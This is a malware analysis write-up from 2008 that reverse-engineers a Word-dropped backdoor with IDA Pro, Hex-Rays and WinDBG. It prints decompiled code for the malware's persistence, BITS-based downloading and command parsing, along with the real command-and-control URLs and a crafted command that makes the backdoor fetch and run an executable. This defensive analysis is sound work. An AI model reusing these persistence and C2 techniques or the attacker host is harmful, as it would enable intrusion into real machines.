Introduction

A strange executable, named MSMSGS.EXE, was found on several machines on the network of a customer, apparently dropped by the exploitation of a vulnerability inside Word files. As monitoring tools (registry/file/socket) provided insufficient information on the malware's behaviour, we proceeded with a complete analysis.


Analysis of MSMSGS.EXE

First, let's load the file inside the IDA Pro disassembler. IDA Pro, which was developed and published by DataRescue for several years, remains the best tool for the low-level analysis of malware. Here's what the disassembly looks like.

.text:00402A5C ; -----------------------------------------------------------------
.text:00402A5C public start
.text:00402A5C start:
.text:00402A5C mov eax, 4297E4h
.text:00402A61 push eax
.text:00402A62 push large dword ptr fs:0
.text:00402A69 mov large fs:0, esp ; install exception handler
.text:00402A70 xor eax, eax ; EAX is now 0
.text:00402A72 mov [eax], ecx ; segmentation fault !
.text:00402A74 push eax
.text:00402A75 inc ebp
.text:00402A76 inc ebx
.text:00402A77 outsd ; garbage instructions
.text:00402A78 insd ; garbage instructions
.text:00402A79 jo short loc_402ADC
.text:00402A7B arpl [edx+esi+0], si
.text:00402A7F mov word ptr [ebp-20h], es
.text:00402A82 call near ptr 0E45E47A2h
.text:00402A87 xchg eax, esp
.text:00402A88 mov ds:44224370h, ebx
.text:00402A8E retf
.text:00402A8E ; -----------------------------------------------------------------

At 00402A69, the fs segment register is used to access the thread's TEB (Thread Environment Block). In fact, fs:0 is used to insert a handler (at 4297E4h) in the SEH (Structured Exception Handler) chain, after which an exception is provoked. The instructions starting at 00402A77 are obviously garbage as execution continues through the exception handled. This basic anti-disassembling trick is used to fool a casual analyst. If we reload the binary with 'Analysis options' and 'Create resource segments', IDA now correctly detects the exception handler code, and if we undefine the garbage instructions, we obtain the following:

.text:00402A5C ; -----------------------------------------------------------------
.text:00402A5C public start
.text:00402A5C start:
.text:00402A5C mov eax, offset exception_handler
.text:00402A61 push eax
.text:00402A62 push large dword ptr fs:0
.text:00402A69 mov large fs:0, esp ; install exception handler
.text:00402A70 xor eax, eax ; EAX is now 0
.text:00402A72 mov [eax], ecx ; segmentation fault !
.text:00402A72 ; -----------------------------------------------------------------
.text:00402A74 aPecompact2 db 'PECompact2',0

'PECompact2' is the signature of a well-known executable packer, offering interesting compression ratios, software protection, and even customization through plugins. We used UnPecompact2 1.0 (an unpacker for PECompact 2), and we were able to unpack the executable. We obtained the following unobfuscated code:


.text:00402A5C ; =============== S U B R O U T I N E ========================
.text:00402A5C
.text:00402A5C ; Attributes: library function bp-based frame
.text:00402A5C
.text:00402A5C public start
.text:00402A5C start proc near
.text:00402A5C
.text:00402A5C StartupInfo = _STARTUPINFOA ptr -70h
.text:00402A5C var_2C = dword ptr -2Ch
.text:00402A5C var_28 = dword ptr -28h
.text:00402A5C Code = dword ptr -24h
.text:00402A5C lpCmdLine = dword ptr -20h
.text:00402A5C var_1C = dword ptr -1Ch
.text:00402A5C ms_exc = CPPEH_RECORD ptr -18h
.text:00402A5C anonymous_0 = word ptr -104h
.text:00402A5C
.text:00402A5C push 60h
.text:00402A5E push offset stru_407418 ; lpModuleName
.text:00402A63 call __SEH_prolog
.text:00402A68 mov edi, 94h
.text:00402A6D mov eax, edi
.text:00402A6F call __alloca_probe
.text:00402A74 mov [ebp+ms_exc.old_esp], esp
.text:00402A77 mov esi, esp
.text:00402A79 mov [esi], edi
.text:00402A7B push esi ; lpVersionInformation
.text:00402A7C call GetVersionExA
...

The caracteristic color in the address column (.text:00402A5C) indicates us that IDA's FLIRT technology successfully recognized the code at the entry point as being from a static library, so we can safely assume the program was writen in a high-level language (Visual C++ in this case). If we browse to the _WinMain@16 function, and decompile it by using the Hex-Rays Decompiler, we easily understand the executable's main purpose:

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
int v4; // eax@5
DWORD v6; // edi@1
int v7; // [sp+210h] [bp-4h]@1
CHAR Filename; // [sp+10Ch] [bp-108h]@1
CHAR String2; // [sp+8h] [bp-20Ch]@3
v7 = dword_425850;
Sleep(0xAu);
adjust_SeDebugPrivilege();
v6 = GetModuleFileNameA(0, &Filename, 0x104u); // retrieves the path to the current process's executable
Sleep(0xBu);
Sleep(0xAu);
if ( !v6 )
goto LABEL_10;
if ( !GetEnvironmentVariableA("ALLUSERSPROFILE", &String2, 0x104u) )
lstrcpyA(&String2, "C:\\Documents and Settings\\All Users");
Sleep(0xAu);
lstrcatA(&String2, "\\Application Data\\msmsgs.exe");
v4 = lstrcmpiA(&Filename, &String2);
if ( v4 ) // if not in our final directory
LABEL_10:
install();
else
run(v4);
Sleep(0x1Eu);
return 0;
}
The executable determines if it already sits in the 'Documents and Settings\\All Users\\Application Data' directory: if not, it executes the install function, else it executes the run function. Here is the most interesting code from this install function:

memset(&NewFileName, 0, 0x104u);
if ( !GetEnvironmentVariableA("ALLUSERSPROFILE", &NewFileName, 0x104u) )
lstrcpyA(&NewFileName, "C:\\Documents and Settings\\All Users");
lstrcatA(&NewFileName, "\\Application Data\\msmsgs.exe");
...
if ( !(unsigned __int8)add_as_service(&NewFileName, "Logical Disk Manager Service") )
write_registry(
HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
"Windows Media Player",
&NewFileName);
while ( 1 )
{
while ( !CopyFileA(&ExistingFileName, &NewFileName, 0) ) // copy ourself to 'Application Data'
{
stop_service_through_batch_script(0, "Logical Disk Manager Service");
stop_service_through_batch_script(0, "Security_Manager");
Sleep(0x5DCu);
}
v12 = CreateFileA(&NewFileName, 0x40000000u, 3u, 0, 3u, 2u, 0);
v4 = v12;
if ( v12 != (HANDLE)-1 )
break;
stop_service_through_batch_script(0, "Logical Disk Manager Service");
stop_service_through_batch_script(0, "Security_Manager");
Sleep(0x5DCu);
}
memset(&String1, 0, 0x104u);
memset(&FindFileData, 0, sizeof(FindFileData));
GetWindowsDirectoryA(&String1, 0x104u);
strcatA(&String1, "\\*.dll");
v13 = FindFirstFileA(&String1, &FindFileData); // Windows\*.dll
first_windows_dll = v13;
if ( v13 != (HANDLE)-1 )
// set MSMSGR.EXE date as first Windows\*.dll found SetFileTime(v4, &FindFileData.ftCreationTime, &FindFileData.ftLastAccessTime, &FindFileData.ftLastWriteTime);
FindClose(first_windows_dll);
CloseHandle(v4);
WinExec(&NewFileName, 0); // execute ourself from 'Application Data'
...

The program tries to register as a fake 'Logical Disk Manager Service' system service or as a 'Windows Media Player'  application in the registry startup keys, then it copies itself to the 'Application Data' directory, adjust its date to match the one of the first DLL file found in the Windows directory, and finally starts itself again from this new working directory. If it was already present in the 'Application Data' directory,  then the run function executes instead, which basically extracts a payload from its data section and writes it to a new file, 'C:\Program Files\WindowsUpdate\Windows Installer.exe', itself executed.


Analysis of 'Windows Installer.exe'

After various initialization operations (for example ensuring that a network connection exists), this executable prepares a list of interesting URLs:

lpString1 = (LPSTR)LocalAlloc(0x40u, 0x200u);
lstrcpyA(lpString1, "http://www1.palms-us.org/ld/v2/loginv2.asp?hi=2wsdf351&x=");
lstrcatA(lpString1, lpString2);
lstrcatA(lpString1, "&y=");
lstrcatA(lpString1, dword_40751B);
dword_4074F3 = (LPSTR)LocalAlloc(0x40u, 0x100u);
lstrcpyA(dword_4074F3, "www1.palms-us.org");
dword_4074F7 = (LPSTR)LocalAlloc(0x40u, 0x200u);
lstrcpyA(dword_4074F7, "/ld/v2/votev2.asp?a=7351ws2&s=");
lstrcatA(dword_4074F7, lpString2);
dword_4074FB = (LPSTR)LocalAlloc(0x40u, 0x100u);
lstrcpyA(dword_4074FB, "http://");
lstrcatA(dword_4074FB, dword_4074F3);
lstrcatA(dword_4074FB, dword_4074F7);
dword_407503 = (LPSTR)LocalAlloc(0x40u, 0x200u);
lstrcpyA(dword_407503, "hxxtp://www1.palms-us.org/ld/v2/logoutv2.asp?p=s9wlf1&r=9s2&s=");
lstrcatA(dword_407503, lpString2);
dword_407507 = (LPSTR)LocalAlloc(0x40u, 0x200u);
lstrcpyA(dword_407507, "http://www1.palms-us.org/ld/v2/logoutv2.asp?p=s9wlf1&r=5fd&s=");
lstrcatA(dword_407507, lpString2);
dword_40750B = (LPSTR)LocalAlloc(0x40u, 0x200u);
lstrcpyA(dword_40750B, "http://www1.palms-us.org/ld/v2/logoutv2.asp?p=s9wlf1&r=5fe&s=");
lstrcatA(dword_40750B, lpString2);
dword_40750F = (LPSTR)LocalAlloc(0x40u, 0x200u);
lstrcpyA(dword_40750F, "http://www1.palms-us.org/ld/v2/logoutv2.asp?p=s9wlf1&r=5ff&s=");
lstrcatA(dword_40750F, lpString2);
dword_407513 = (LPSTR)LocalAlloc(0x40u, 0x200u);
lstrcpyA(dword_407513, "http://www1.palms-us.org/ld/v2/logoutv2.asp?p=s9wlf1&s=");
Just to be complete, here is the information we obtain about the particular host used in these URLs:

$ nslookup www1.palms-us.org
Non-authoritative answer:
www1.palms-us.org       canonical name = fakeuser.w114.west263.cn.
Name:   fakeuser.w114.west263.cn
Address: 61.139.126.11
The executable also extracts a DLL embedded inside its resources, trying with two different filenames in case of failure (drmv021.lic and avp01.lic), as shown by the following functions:

void __stdcall copy_resource_to_file(LPCSTR lpType, LPCSTR lpName, LPCSTR lpFileName)
{
...
v3 = FindResourceA(0, lpName, lpType);
if ( v3 )
{
hResInfo = v3;
v4 = SizeofResource(0, v3);
if ( v4 )
{
v5 = LoadResource(0, hResInfo);
if ( v5 )
{
hResData = v5;
v6 = (const CHAR *)LockResource(v5);
if ( v6 )
{
...
v7 = CreateFileA(lpFileName, 0x40000000u, 0, 0, 2u, 0x80u, 0);
if ( v7 != (HANDLE)-1 )
{
if ( WriteFile(v7, hMem, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0) )
...
}

int __stdcall create_dll(LPCSTR lpString1)
{
...
if ( !GetEnvironmentVariableA("ALLUSERSPROFILE", (LPSTR)lpString2, 0x104u) )
lstrcpyA((LPSTR)lpString2, "C:\\Documents and Settings\\All Users");
lstrcpyA((LPSTR)lpString1, (LPCSTR)lpString2);
CreateDirectoryA(lpString1, 0);
lstrcatA((LPSTR)lpString1, "\\DRM");
CreateDirectoryA(lpString1, 0);
lstrcatA((LPSTR)lpString1, "\\drmv021.lic");
v3 = copy_resource_to_file((LPCSTR)0x2006, (LPCSTR)0x1001, lpString1);
if ( !v3 )
{
lstrcpyA((LPSTR)lpString1, (LPCSTR)lpString2);
CreateDirectoryA(lpString1, 0);
lstrcatA((LPSTR)lpString1, "\\DRM");
CreateDirectoryA(lpString1, 0);
lstrcatA((LPSTR)lpString1, "\\avp01.lic");
copy_resource_to_file((LPCSTR)0x2006, (LPCSTR)0x1001, lpString1);
..

Finally, it invokes the CreateThread API to run the workFunc_thread function in a new thread. This workFunc_thread will load the DLL just extracted, and executes the function "workFunc" exported by this DLL, passing it some of the suspicious URLs we observed previously:

.text:00403EB1 ; =============== S U B R O U T I N E =======================================
.text:00403EB1
.text:00403EB1 ; Attributes: bp-based frame
.text:00403EB1
.text:00403EB1 ; int __stdcall get_workFunc(LPCSTR lpLibFileName)
.text:00403EB1 get_workFunc proc near ; CODE XREF: run_workFunc_wrapper+Ap
.text:00403EB1
.text:00403EB1 var_8 = dword ptr -8
.text:00403EB1 hModule = dword ptr -4
.text:00403EB1 lpLibFileName = dword ptr 8
.text:00403EB1
.text:00403EB1 push ebp
.text:00403EB2 mov ebp, esp
.text:00403EB4 add esp, 0FFFFFFF8h
.text:00403EB7 pusha
.text:00403EB8 push [ebp+lpLibFileName] ; lpLibFileName
.text:00403EBB call LoadLibraryA
.text:00403EC0 or eax, eax
.text:00403EC2 jnz short loc_403ECE
.text:00403EC4 popa
.text:00403EC5 mov eax, 0
.text:00403ECA leave
.text:00403ECB retn 4
.text:00403ECE ; ---------------------------------------------------------------------------
.text:00403ECE loc_403ECE: ; CODE XREF: run_workFunc+11j
.text:00403ECE mov [ebp+hModule], eax
.text:00403ED1 push offset aWorkfunc ; "workFunc"
.text:00403ED6 push [ebp+hModule] ; hModule
.text:00403ED9 call GetProcAddress
.text:00403EDE or eax, eax
.text:00403EE0 jnz short loc_403EEC
.text:00403EE2 popa
.text:00403EE3 mov eax, 0
.text:00403EE8 leave
.text:00403EE9 retn 4
.text:00403EEC ; ---------------------------------------------------------------------------
.text:00403EEC loc_403EEC: ; CODE XREF: run_workFunc+2Fj
.text:00403EEC mov [ebp+var_8], eax
.text:00403EEF popa
.text:00403EF0 mov eax, [ebp+var_8]
.text:00403EF3 leave
.text:00403EF4 retn 4
.text:00403EF4 get_workFunc endp
.text:00403EF7
.text:00403EF7 ; =============== S U B R O U T I N E =======================================
.text:00403EF7
.text:00403EF7 ; Attributes: bp-based frame
.text:00403EF7
.text:00403EF7 ; int __stdcall run_workFunc_wrapper(LPCSTR lpLibFileName, int, int, int)
.text:00403EF7 run_workFunc_wrapper proc near ; CODE XREF: workFunc_thread+1Bp
.text:00403EF7
.text:00403EF7 var_8 = dword ptr -8
.text:00403EF7 var_4 = dword ptr -4
.text:00403EF7 lpLibFileName = dword ptr 8
.text:00403EF7 arg_4 = dword ptr 0Ch
.text:00403EF7 arg_8 = dword ptr 10h
.text:00403EF7 arg_C = dword ptr 14h
.text:00403EF7
.text:00403EF7 push ebp
.text:00403EF8 mov ebp, esp
.text:00403EFA add esp, 0FFFFFFF8h
.text:00403EFD pusha
.text:00403EFE push [ebp+lpLibFileName] ; lpLibFileName
.text:00403F01 call get_workFunc
.text:00403F06 or eax, eax
.text:00403F08 jnz short loc_403F14
.text:00403F0A popa
.text:00403F0B mov eax, 0
.text:00403F10 leave
.text:00403F11 retn 10h
.text:00403F14 ; ---------------------------------------------------------------------------
.text:00403F14 loc_403F14: ; CODE XREF: run_workFunc_wrapper+11j
.text:00403F14 mov [ebp+var_4], eax
.text:00403F17 push [ebp+arg_4]
.text:00403F1A push [ebp+arg_8]
.text:00403F1D push [ebp+arg_C]
.text:00403F20 call [ebp+var_4] ; run the function exported by the DLL
.text:00403F23 mov [ebp+var_8], eax
.text:00403F26 popa
.text:00403F27 mov eax, [ebp+var_8]
.text:00403F2A leave
.text:00403F2B retn 10h
.text:00403F2B run_workFunc_wrapper endp
.text:00403F2B
.text:00403F2E
.text:00403F2E ; =============== S U B R O U T I N E =======================================
.text:00403F2E
.text:00403F2E ; Attributes: noreturn bp-based frame
.text:00403F2E
.text:00403F2E ; DWORD __stdcall workFunc_thread(LPVOID)
.text:00403F2E workFunc_thread proc near ; DATA XREF: start+521o
.text:00403F2E push ebp
.text:00403F2F mov ebp, esp
.text:00403F31 push url_string2 ; int
.text:00403F37 push url_string1 ; int
.text:00403F3D push url_string3 ; int
.text:00403F43 push lpLibFileName ; lpLibFileName
.text:00403F49 call run_workFunc_wrapper


Analysis of DRMV021.LIC

The following screenshot confirms us that a "workFunc" function is indeed exported, and that we are missing the PDB debug information file. ;)



This "workFunc" function calls another small function, which basically try to indefinitely download a tiny file containing a backdoor command from one of the URL seen previously, then parse and execute this command, as seen below:

.text:10003C70 ; =============== S U B R O U T I N E =======================================
.text:10003C70
.text:10003C70 ; Attributes: noreturn
.text:10003C70
.text:10003C70 main_workFunc_infinite proc near ; CODE XREF: workFunc+5Fp
.text:10003C70 push esi
.text:10003C71 mov esi, ecx
.text:10003C73 mov eax, [esi]
.text:10003C75 push edi
.text:10003C76 push eax ; loginv2_url
.text:10003C77 call this_download_command_file ; this
.text:10003C7C mov ecx, esi
.text:10003C7E call this_execute_command_file
.text:10003C83 mov edi, ds:Sleep
.text:10003C89 lea esp, [esp+0]
.text:10003C90
.text:10003C90 infinit_loop: ; CODE XREF: main_workFunc_infinite+36j
.text:10003C90 mov ecx, [esi+4]
.text:10003C93 push ecx ; loginv2_url
.text:10003C94 mov ecx, esi
.text:10003C96 call this_download_command_file ; this
.text:10003C9B mov ecx, esi
.text:10003C9D call this_execute_command_file
.text:10003CA2 push 100 ; dwMilliseconds
.text:10003CA4 call edi ; Sleep
.text:10003CA6 jmp short infinit_loop
.text:10003CA6 main_workFunc_infinite endp

The backdoor makes use of Microsoft's Background Intelligent Transfer Service (BITS) through a COM interface, which allows to download files without consuming network bandwidth and easily bypasses the local firewall without using more suspicious technics (like a socket created by the process itself, or even injection into another process):

lstrcatW(&String2, L"My911");
if ( ole32_CoInitializeEx(0, COINIT_APARTMENTTHREADED) >= 0
&& ole32_CoCreateInstance(
rclsid_BackgroundIntelligentTransferControlClass1_0,
0,
CLSCTX_LOCAL_SERVER,
riid_qmgrprxy_dll,
&ppv) >= 0
&& (*(*ppv + CreateJob))(ppv, &String2, 0, &v26, &v22) >= 0
&& (*(*ppv + AddFile))(v22, download_url,
downloaded_filename) >= 0
&& (*(*ppv + Resume))(v22) >= 0 )
{
...
lstrcpyW(&String1, &String2);
lstrcatW(&String1, L"DSTT");
v9 = kernel32_CreateWaitableTimerW(0, 0, &String1);
v5 = v9;
kernel32_SetWaitableTimer(v9, &v30, 5000, 0, 0, 0);
while ( 1 )
{
kernel32_WaitForSingleObject(v5, -1);
if (*(*ppv + GetState))(v22, &v32) < 0 )
{
DCOM_cancel_timer:
kernel32_CancelWaitableTimer(v5);
kernel32_CloseHandle(v5);
v3 = ret_code;
v4 = 0;
goto DCOM_end;
}
v6 = v32;
if ( v32 == BG_JOB_STATE_TRANSFERRED )
{
(*(*ppv + Complete))(v22);
v6 = v32;
ret_code = 1; // transfer successfull
goto LABEL_15;
}
if ( v32 == BG_JOB_STATE_ERROR
|| v32 == BG_JOB_STATE_TRANSIENT_ERROR )
break;
if ( v32 != BG_JOB_STATE_TRANSFERRING )
{
LABEL_15:
if ( v6 == BG_JOB_STATE_TRANSFERRED
|| v6 == BG_JOB_STATE_ERROR
|| v6 == BG_JOB_STATE_TRANSIENT_ERROR )
goto DCOM_cancel_timer;
}
}
ret_code = -1; // transfer failed goto LABEL_15;
}
It is interesting to note that some needed APIs (like CreateWaitableTimer) are imported by manually parsing KERNEL32.DLL's export table and looking for corresponding CRC, a really old technique commonly used in viruses. However, only the BITS related code is importing its required APIs using this trick, which tends to demonstrate the backdoor's author most probably cut and pasted this code snippet.

If we uses Microsoft's BITSAdmin Tool to display the download queue inside a (networkless) VMare image of a compromised host, we see many suspended jobs indicating that the backdoor was trying to download data from the suspicious host (unreachable because our virtual machine is not connected):


BITSADMIN version 2.0 [ 6.6.3790.1830 ]
BITS administration utility.
(C) Copyright 2000-2004 Microsoft Corp.

GUID: {79C45DB8-1141-4C2F-A30C-457F5B4A993C} DISPLAY: 83425My911
TYPE: DOWNLOAD STATE: SUSPENDED OWNER: XXXXXXX\xxxxxxxx
PRIORITY: NORMAL FILES: 0 / 1 BYTES: 0 / UNKNOWN
CREATION TIME: 15/07/2008 11:16:04 MODIFICATION TIME: 15/07/2008 11:16:05
COMPLETION TIME: UNKNOWN ACL FLAGS:
NOTIFY INTERFACE: UNREGISTERED NOTIFICATION FLAGS: 3
RETRY DELAY: 600 NO PROGRESS TIMEOUT: 1209600 ERROR COUNT: 0
PROXY USAGE: PRECONFIG PROXY LIST: NULL PROXY BYPASS LIST: NULL
DESCRIPTION:
JOB FILES: 0 / UNKNOWN WORKING http://www1.palms-us.org/ld/v2/loginv2.asp?
hi=2wsdf351&x=0720080710160416858070000000&y=XXX.XXX.XXX.XXX&t1=ne
-> C:\Program Files\InstallShield Installation Information\83425
NOTIFICATION COMMAND LINE: none

GUID: {8AC174A0-2422-499A-BDAD-022E15FEF0AD} DISPLAY: 59563My911
TYPE: DOWNLOAD STATE: TRANSIENT_ERROR OWNER: XXXXXXX\xxxxxxxx
PRIORITY: NORMAL FILES: 0 / 1 BYTES: 0 / UNKNOWN
CREATION TIME: 14/07/2008 11:45:59 MODIFICATION TIME: 15/07/2008 15:43:58
COMPLETION TIME: UNKNOWN ACL FLAGS:
NOTIFY INTERFACE: UNREGISTERED NOTIFICATION FLAGS: 3
RETRY DELAY: 600 NO PROGRESS TIMEOUT: 1209600 ERROR COUNT: 38
PROXY USAGE: PRECONFIG PROXY LIST: NULL PROXY BYPASS LIST: NULL
ERROR FILE: http://www1.palms-us.org/ld/v2/votev2.asp?a=7351ws2
&s=0720080710160416858070000000&t1=ne
-> C:\Program Files\InstallShield Installation Information\59563
ERROR CODE: 0x80072afc - The requested name is valid and was found in the database,
but it does not have the correct associated data being resolved for.
ERROR CONTEXT: 0x00000005 - The error occurred while the remote file was being processed.
DESCRIPTION:
JOB FILES: 0 / UNKNOWN WORKING http://www1.palms-us.org/ld/v2/votev2.asp?
a=7351ws2&s=0720080710160416858070000000&t1=ne
-> C:\Program Files\InstallShield Installation Information\59563
NOTIFICATION COMMAND LINE: none
If we manually connect to this host with one of these HTTP requests by using a tool like wget, we receive the following string:

@n4@300@
This kind of strings are passed to the function which parses and executes the received commands:

signed int __thiscall this_execute_command_file(int this)
{
...
run_process1_string = *(_DWORD *)"@n11@";
run_process0_string = *(const CHAR **)"@n1@";
run_thread0_string = *(_DWORD *)"@n2@";
sleep_string = *(_DWORD *)"@n4@";
run_thread1_string = *(_DWORD *)"@n21@";
if ( StrStrA(v3, run_process0_string) )
{
v4 = run_process0(*(LPCSTR *)(v1 + 12));
post_return_code(*(LPCWSTR *)(v1 + 8), v4);
}
if ( StrStrA(*(LPCSTR *)(v1 + 12), (const CHAR *)&run_process1_string) )
{
v5 = run_process1(*(LPCSTR *)(v1 + 12));
post_return_code(*(LPCWSTR *)(v1 + 8), v5);
}
if ( StrStrA(*(LPCSTR *)(v1 + 12), (const CHAR *)&run_thread0_string) )
{
v6 = run_thread0(*(LPCSTR *)(v1 + 12));
post_return_code(*(LPCWSTR *)(v1 + 8), v6);
}
if ( StrStrA(*(LPCSTR *)(v1 + 12), (const CHAR *)&run_thread1_string) )
{
v7 = run_thread1(*(LPCSTR *)(v1 + 12));
post_return_code(*(LPCWSTR *)(v1 + 8), v7);
}
if ( StrStrA(*(LPCSTR *)(v1 + 12), (const CHAR *)&sleep_string) )
sleep_command(*(LPCSTR *)(v1 + 12));
return 1;
}
For example, our captured string with the 'n4' command causes the backdoor to sleep for 300 seconds, then try to get a new command again. So actually, the backdoor seems to be dormant, waiting most probably until a command to execute a given process appears on the master host.

Finally, here is a small graph representing all the functions referenced by the code to manage command execution:





Remark that the run_process*() and run_thread*() functions all depend on the previously described bits_file_loop() function, which they use to download an executable or a DLL. This downloaded file is then verified against a given MD5 (which was passsed as an argument to the command), and finally gets executed, either as a stand-alone process or as a new thread inside the current process.


Execution of a backdoor command

Now that we have a clear view about how the backdoor is working, let's try subverting the backdoor to force it executing Notepad, for example. As BITS is only invoked by the backdoor to download a file from a given URL to a location specified by the backdoor itself, we can simply prepare a command file manually, skip BITS, hijack the required functions to let the backdoor think the file was properly received, and finally see if it's working as we supposed. For this, we wrote the following WinDBG script:

g $exentry
bp kernel32!CreateFileA ".printf \"CreateFileA('%ma')\\n\", poi(esp+4) ; gc"
bp kernel32!CreateFileW ".printf \"CreateFileW('%mu')\\n\", poi(esp+4) ; gc"
bp kernel32!CreateWaitableTimerW ".printf \"CreateWaitableTimerW('%mu')\\n\", poi(esp+3*4) ; gc"
bp kernel32!GetTickCount "$$ .printf \"GetTickCount()\\n\" ; r eax = 0 ; r eip = poi(esp) ; r esp = esp + 4 ; gc"
bp kernel32!LoadLibraryW ".printf \"LoadLibraryW('%mu')\\n\", poi(esp+4) ; gc"
bp kernel32!Sleep ".printf \"Sleep(%ds)\\n\", poi(esp+4)/0n1000 ; gc"
bp wininet!InternetOpenA "$$ .printf \"InternetOpenA()\\n\" ; r eax = 0xDEADBEEF ; r eip = poi(esp) ; r esp = esp + 6*4 ; gc"
bp wininet!InternetOpenUrlA ".printf \"InternetOpenUrlA('%ma')\\n\",
poi(esp+2*4) ; r eax = 0xDEADBEEF ; r eip = poi(esp) ; r esp = esp +
7*4 ; gc"
$$ patch some conditionnal jump
eb 0x403F86 EB
$$ patch another conditionnal jump
eb 0x403FF8 EB
bu drmv021!workFunc ".printf \"workFunc('%ma', '%ma', '%ma')\\n\", poi(esp+4), poi(esp+2*4), poi(esp+3*4)"
g
lm M *.lic
bp 0x10002D20 ".printf \"this_download_command_file('%mu')\\n\", poi(esp+4) ; gc"
bp 0x10002AA0 ".printf \"file_loop('%mu', %d)\\n\", poi(esp+3*4), poi(esp+4*4) ; gc"
bp 0x10002880 ".printf \"bits_file_loop('%mu', '%mu', %d)\\n\",
poi(esp+4), poi(esp+2*4), poi(esp+3*4) ; r eax = 1 ; r eip = poi(esp) ;
r esp = esp + 4 ; gc"
bp 0x10001000 "r @$t0 = poi(esp+2*4) ; g @$ra ; .printf \"%y: get_proc_by_checksum('%y') = '%y'\\n\", eip, @$t0, eax+5 ; gc"
bp 0x10003B30 ".printf \"this_execute_command_file()\\n\" ; db poi(ecx+0xC) ; gc"
g

Basically, the script logs arguments of some interesting APIs and functions, and hijack the GetTickCount() API, which is used by the backdoor to determine unique filenames which are passed to BITS. We modify this API to always returns 0, so we can simulate the downloading of a command file simply by creating a fake command file named '0' in the C:\Program Files\InstallShield Installation Information' directory, where the backdoor is expecting downloaded files to appear. In this file, we put the following command:


@n1@http://www.domain.net/malware.exe@C:\Windows\notepad.exe@388b8fbc36a8558587afc90fb23a3b99@
The 'n1' command allows to execute a process downloaded from a source URL to a given destination, and first verify the file has the given MD5 checksum (which is the checksum of our existing Notepad in our case). Here is the output generated by our WinDBG script:

...
CreateFileA('C:\Documents and Settings\All Users\DRM\drmv021.lic')
CreateFileW('C:\Documents and Settings\All Users\DRM\drmv021.lic')
Sleep(0s)
InternetOpenUrlA('http://www1.palms-us.org/ld/v2/loginv2.asp?hi=2wsdf351&x=0720080710160416858070000000&y=XXX.XXX.XXX.XXX')
Sleep(1s)
Sleep(1s)
*** WARNING: Unable to verify checksum for C:\Documents and Settings\All Users\DRM\drmv021.lic
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Documents and Settings\All Users\DRM\drmv021.lic -
ModLoad: 10000000 10013000   C:\Documents and Settings\All Users\DRM\drmv021.lic
Sleep(1s)
workFunc('http://www1.palms-us.org/ld/v2/loginv2.asp?hi=2wsdf351&x=0720080710160416858070000000&y=XXX.XXX.XXX.XXX',
'http://www1.palms-us.org/ld/v2/votev2.asp?a=7351ws2&s=0720080710160416858070000000',
'http://www1.palms-us.org/ld/v2/logoutv2.asp?p=s9wlf1&s=0720080710160416858070000000')
start    end        module name
10000000 10013000   drmv021  C (export symbols)       C:\Documents and Settings\All Users\DRM\drmv021.lic
this_download_command_file('http://www1.palms-us.org/ld/v2/loginv2.asp?hi=2wsdf351&x=0720080710160416858070000000&y=XXX.XXX.XXX.XXX')
file_loop('C:\Program Files\InstallShield Installation Information', 0)
bits_file_loop('http://www1.palms-us.org/ld/v2/loginv2.asp?hi=2wsdf351&x=0720080710160416858070000000&y=XXX.XXX.XXX.XXX&t1=ne',
'C:\Program Files\InstallShield Installation Information\0', 0)
CreateFileW('C:\Program Files\InstallShield Installation Information\0')
CreateFileW('C:\Program Files\InstallShield Installation Information\0')
this_execute_command_file()
00a33b50  40 6e 31 40 68 74 74 70-3a 2f 2f 77 77 77 2e 64  @n1@http://www.d
00a33b60  6f 6d 61 69 6e 2e 6e 65-74 2f 6d 61 6c 77 61 72  omain.net/malwar
00a33b70  65 2e 65 78 65 40 43 3a-5c 57 69 6e 64 6f 77 73  e.exe@C:\Windows
00a33b80  5c 6e 6f 74 65 70 61 64-2e 65 78 65 40 33 38 38  \notepad.exe@388
00a33b90  62 38 66 62 63 33 36 61-38 35 35 38 35 38 37 61  b8fbc36a8558587a
00a33ba0  66 63 39 30 66 62 32 33-61 33 62 39 39 40 00 00  fc90fb23a3b99@..
00a33bb0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00a33bc0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
bits_file_loop('http://www.domain.net/malware.exe', 'C:\Windows\notepad.exe', 0)
CreateFileW('C:\Windows\notepad.exe')
CreateProcessA('C:\Windows\notepad.exe')
...
It confirms the creation of the DRMV021.LIC DLL, which is then loaded, and its workFunc() function executed. The backdoor then requests a first command, which we returns from our faked command file '0'. This command is successfully passed for execution, and finally the CreateProcess() API causes a Notepad window to popup as requested!





Conclusion

We successfully determined that the backdoor's main purpose is to communicate with a master host to receive commands, and proved that the attacker can use it to fully control a compromised machine. The layout of the code suggests us that the backdoor contains code snippets coming from various external sources, and that the autor is not really skilled. As a final note, both executables are now detected by our antivirus solution, but the embedded DLL (containing the core communication engine, which basically could be reused easily) was not.

(c) Eric Landuyt, DataRescue, 2008 (with revisions by PVe)